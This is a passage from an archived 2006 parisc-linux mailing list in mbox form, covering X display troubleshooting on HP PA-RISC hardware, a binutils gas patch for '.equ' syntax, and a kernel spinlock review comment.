	with ESMTP id 00786-07; Thu, 23 Nov 2006 07:23:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7EA57D8B0;
	Thu, 23 Nov 2006 07:23:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A4327D856
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 07:23:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00579-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 07:23:01 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id A76717D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 07:23:00 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so441055ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 06:22:59 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=XJ7fTBNKkoO3/aN7Ww/PMN+xSVmX+D47sLpDceVAdFf7HW65FtEoJxXy64cmDjIKVC8iudl6/qsxSQAtg8aPtECmPX65ggHMlYuTHne0A6DLwX4aNLxLdc2c82QtRIy/MRBwp/q6cTwDF2We0gRz0YVfnICikhpAtImYj4mpwnQ=
Original-Received: by 10.82.142.9 with SMTP id p9mr1428386bud.1164291779044;
	Thu, 23 Nov 2006 06:22:59 -0800 (PST)
Original-Received: by 10.82.119.16 with HTTP; Thu, 23 Nov 2006 06:22:58 -0800 (PST)
In-Reply-To: <20061123133925.GA12617@athena.road.mcmartin.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qt8MKstQMydyf4igZWpl9jJraGRhZtpa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24103

On 23/11/06, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Thu, Nov 23, 2006 at 12:59:35AM +0100, Jean-Pierre HOFER wrote:
> > The X display shows only a grey surface with some horizontal white dotted
> > lines. The mouse pointer is a series of horizontal white lines. There is
> > no colour at all.
>
> X (and Linux fbdev in general) is incapable of configuring HP graphics cards,
> only driving them through the documented STI commands.
>
> You likely want to change the Monitor type to something else in "CO MO" at
> the PDC prompt.

I changed my screen resolution//refresh rate in X by using fbset
(before you start X), and having a matching modeline entry in
XF86Config/xorg.conf (see fbset -x).
Works for me, but for some strange reason not for every case (ie. not
all resolutions/refresh rates supported by fbset)

Slan,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Thu, 23 Nov 2006 22:41:56 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <200611232241.56731.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624219 21666 80.91.229.3 (22 Nov 2014 02:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Nov 2006 21:42:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 23 Nov 2006 22:42:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B3467D928;
	Thu, 23 Nov 2006 14:42:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09594-06; Thu, 23 Nov 2006 14:42:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 301CB7D927;
	Thu, 23 Nov 2006 14:42:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D50567D921
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 14:42:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09370-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 14:42:00 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 00F027D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Nov 2006 14:41:59 -0700 (MST)
Original-Received: (qmail invoked by alias); 23 Nov 2006 21:41:58 -0000
Original-Received: from mnhm-590c01f0.pool.einsundeins.de (EHLO p100.box) [89.12.1.240]
	by mail.gmx.net (mp030) with SMTP; 23 Nov 2006 22:41:58 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gS1QdJJZYmYSfenCanc34FZKWkZTQdT4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24104

hppa-linux-gnu-gas only allows one type of ".equ" pseudo-op syntax:
symbol:		.equ value

The following patch allows hppa-gas to understand
			.equ symbol,value
as well, which seems to be pretty standard for other gas-targets as well.

I didn't found any problems yet with this patch, and it allows even the 
src/binutils/testsuite/binutils-all/localize-hidden-1.s
gas test  to compile.

Comments ?
If OK, would somebody with write-access to binutils submit it upstream ?

Helge

Index: gas/config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.133
diff -u -r1.133 tc-hppa.c
--- gas/config/tc-hppa.c	30 Oct 2006 01:09:18 -0000	1.133
+++ gas/config/tc-hppa.c	23 Nov 2006 21:32:49 -0000
@@ -3262,7 +3262,7 @@
       return;
     }
 
-  /* Look up the opcode in the has table.  */
+  /* Look up the opcode in the hash table.  */
   if ((insn = (struct pa_opcode *) hash_find (op_hash, str)) == NULL)
     {
       as_bad ("Unknown opcode: `%s'", str);
@@ -6397,8 +6397,11 @@
     {
       if (reg)
 	as_bad (_(".REG must use a label"));
-      else
-	as_bad (_(".EQU must use a label"));
+      else {
+	/* Try gas' standard ".equ X,Y" pseudo opcode.  */
+      	s_set(0);
+	return;
+      }
     }
 
   pa_undefine_label ();


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Fri, 24 Nov 2006 13:19:11 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <200611241219.kAOCJD3V002537@stephenson.dhis.org>
References: <200611240137.kAO1bAdB000831@stephenson.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624219 21669 80.91.229.3 (22 Nov 2014 02:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Nov 2006 12:19:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 24 Nov 2006 13:19:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FCD67D93A;
	Fri, 24 Nov 2006 05:19:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19462-06; Fri, 24 Nov 2006 05:19:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D4D77D936;
	Fri, 24 Nov 2006 05:19:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2004D7D92E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 05:19:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19462-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 05:19:26 -0700 (MST)
Original-Received: from stephenson.dhis.org (ALagny-152-1-2-127.w83-112.abo.wanadoo.fr
	[83.112.128.127])
	by free.linux.hp.com (Postfix) with ESMTP id 35FE57D927
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 05:19:25 -0700 (MST)
Original-Received: from stephenson.dhis.org (localhost [IPv6:::1])
	by stephenson.dhis.org (8.12.11/8.12.11) with ESMTP id kAOCJFRX002145
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 13:19:16 +0100 (CET)
Original-Received: (from jph@localhost)
	by stephenson.dhis.org (8.12.11/8.12.11) id kAOCJD3V002537
	for parisc-linux@lists.parisc-linux.org;
	Fri, 24 Nov 2006 13:19:14 +0100 (CET)
In-Reply-To: <200611240137.kAO1bAdB000831@stephenson.dhis.org>
X-Mailer: ELM [version 2.4ME+ PL93 (25)]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CacsAtYNa2A7W7vDOHQyx+MyOWhhagfS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24105

> > [...]
> > You can then experiment on the /etc/X11/xorg.conf.
> > Use "xstart" or "xinit" commands to start X11 manually.
> 
> I have tried many different configurations with 'dpkg-reconfigure
> xserver-xorg' without success : after 'xinit', the display shows still a
> grey surface that is subdivided in 5 identical rows. In each row, there
> is a dash that should be the mouse pointer (at least, the mouse is alive).

Sorry, there are not 5 ROWs, but 5 identical COLUMNs.

Thanks in advance for all hints.

Jean-Pierre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Fri, 24 Nov 2006 12:51:21 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20061124125120.GA27596@miranda.arrow>
References: <200611240137.kAO1bAdB000831@stephenson.dhis.org>
	<200611241219.kAOCJD3V002537@stephenson.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624220 21671 80.91.229.3 (22 Nov 2014 02:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Nov 2006 12:51:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 24 Nov 2006 13:51:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFD227D94D;
	Fri, 24 Nov 2006 05:51:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19668-09; Fri, 24 Nov 2006 05:51:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F4467D946;
	Fri, 24 Nov 2006 05:51:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 753D07D944
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 05:51:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19836-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 05:51:26 -0700 (MST)
Original-Received: from mtaout02-winn.ispmail.ntl.com (mtaout02-winn.ispmail.ntl.com
	[81.103.221.48])
	by free.linux.hp.com (Postfix) with ESMTP id A19E17D940
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 05:51:25 -0700 (MST)
Original-Received: from aamtaout01-winn.ispmail.ntl.com ([81.103.221.35])
	by mtaout02-winn.ispmail.ntl.com with ESMTP id
	<20061124125149.IGBB27023.mtaout02-winn.ispmail.ntl.com@aamtaout01-winn.ispmail.ntl.com>;
	Fri, 24 Nov 2006 12:51:49 +0000
Original-Received: from miranda.arrow ([213.107.21.212])
	by aamtaout01-winn.ispmail.ntl.com with ESMTP id
	<20061124125158.PXXP219.aamtaout01-winn.ispmail.ntl.com@miranda.arrow>;
	Fri, 24 Nov 2006 12:51:58 +0000
Original-Received: from sdb by miranda.arrow with local (Exim 4.50)
	id 1GnaWX-0007BI-2x; Fri, 24 Nov 2006 12:51:21 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Jean-Pierre HOFER <jph@stephenson.dhis.org>
Content-Disposition: inline
In-Reply-To: <200611241219.kAOCJD3V002537@stephenson.dhis.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tJ8PdtIkeWU3WK2TZm9nPpErL0tsZs2F
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24106

On Fri, Nov 24, 2006 at 01:19:11PM +0100, Jean-Pierre HOFER wrote:

> Sorry, there are not 5 ROWs, but 5 identical COLUMNs.
> 
> Thanks in advance for all hints.

What happens if you put:

    Option "ShadowFB" "false"

in the Device section of xorg.conf?
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Remove spinlock_t from cpu_data (and thus
	from processor.h)
Date: Sun, 26 Nov 2006 00:33:06 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20061126073306.GB29213@colo.lackof.org>
References: <20061125165344.GA29949@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624220 21673 80.91.229.3 (22 Nov 2014 02:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2006 07:33:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 26 Nov 2006 08:33:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343207D8B0;
	Sun, 26 Nov 2006 00:33:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20699-07; Sun, 26 Nov 2006 00:33:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 506AE7D8BB;
	Sun, 26 Nov 2006 00:33:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F1097D89C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 00:33:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20142-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 00:33:10 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EC5397D866
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 00:33:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E81143D8A24;
	Sun, 26 Nov 2006 00:33:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00360-10; Sun, 26 Nov 2006 00:33:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A66723D8A23; Sun, 26 Nov 2006 00:33:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061125165344.GA29949@athena.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c3VcdOgCbUkoDenGPWgn7M9kZ2hlNwou
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24107

On Sat, Nov 25, 2006 at 11:53:44AM -0500, Kyle McMartin wrote:
> This should enable us to clean up our header files nicely.
...

Yes, but...

> +spinlock_t fencepost[NR_CPUS] = {
> +	[0 ... NR_CPUS-1] = SPIN_LOCK_UNLOCKED
> +};

Unless each CPU gets it's own cacheline, I believe this is
going to ping-pong across CPU caches like hell. Thus
the "per-CPU" initialization. If the fencepost[] locks
are seldom used, then it doesn't matter and we could just use
one cacheline.

but I think you are on the right track to unraveling our
header dependencies a bit more...

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian Etch RC1 on B180L / X display problem
Date: Sat, 25 Nov 2006 00:00:55 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <200611242300.kAON0vgf003083@stephenson.dhis.org>
References: <20061124125120.GA27596@miranda.arrow>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624220 21674 80.91.229.3 (22 Nov 2014 02:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Nov 2006 23:01:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 25 Nov 2006 00:01:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FE9A7D94C;
	Fri, 24 Nov 2006 16:01:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28345-05; Fri, 24 Nov 2006 16:01:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C19B7D952;
